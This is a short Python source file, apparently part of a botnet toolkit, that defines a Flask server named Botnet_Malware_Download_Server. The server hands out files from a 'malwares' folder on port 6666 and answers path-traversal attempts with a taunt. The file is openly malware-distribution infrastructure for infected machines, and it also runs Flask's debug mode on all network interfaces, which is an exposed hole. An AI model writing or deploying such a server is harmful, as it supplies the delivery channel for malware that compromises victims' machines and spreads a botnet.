from .utils import *


class Botnet_Malware_Download_Server:

    path_traversal_msg='Suck it LOOOOSER :P'

    def download(self,filename):
        path='{}/{}'.format(self.malwares_folder,filename)
        if os.path.realpath(path).startswith(self.malwares_folder)==True:
            return flask.send_file(path)
        return Botnet_Malware_Download_Server.path_traversal_msg


    def __init__(self,malwares_folder,host='0.0.0.0',port=6666,debug=True):
        self.host=host
        self.port=port
        self.debug=debug
        self.malwares_folder=malwares_folder
        self.server=flask.Flask(__name__)
        self.server.add_url_rule('/<filename>', 'download', self.download)

    def run(self):
        self.server.run(host=self.host,port=self.port,debug=self.debug)
    
    def set_route(self,*args,**kwargs):
        self.server.add_url_rule(*args,**kwargs)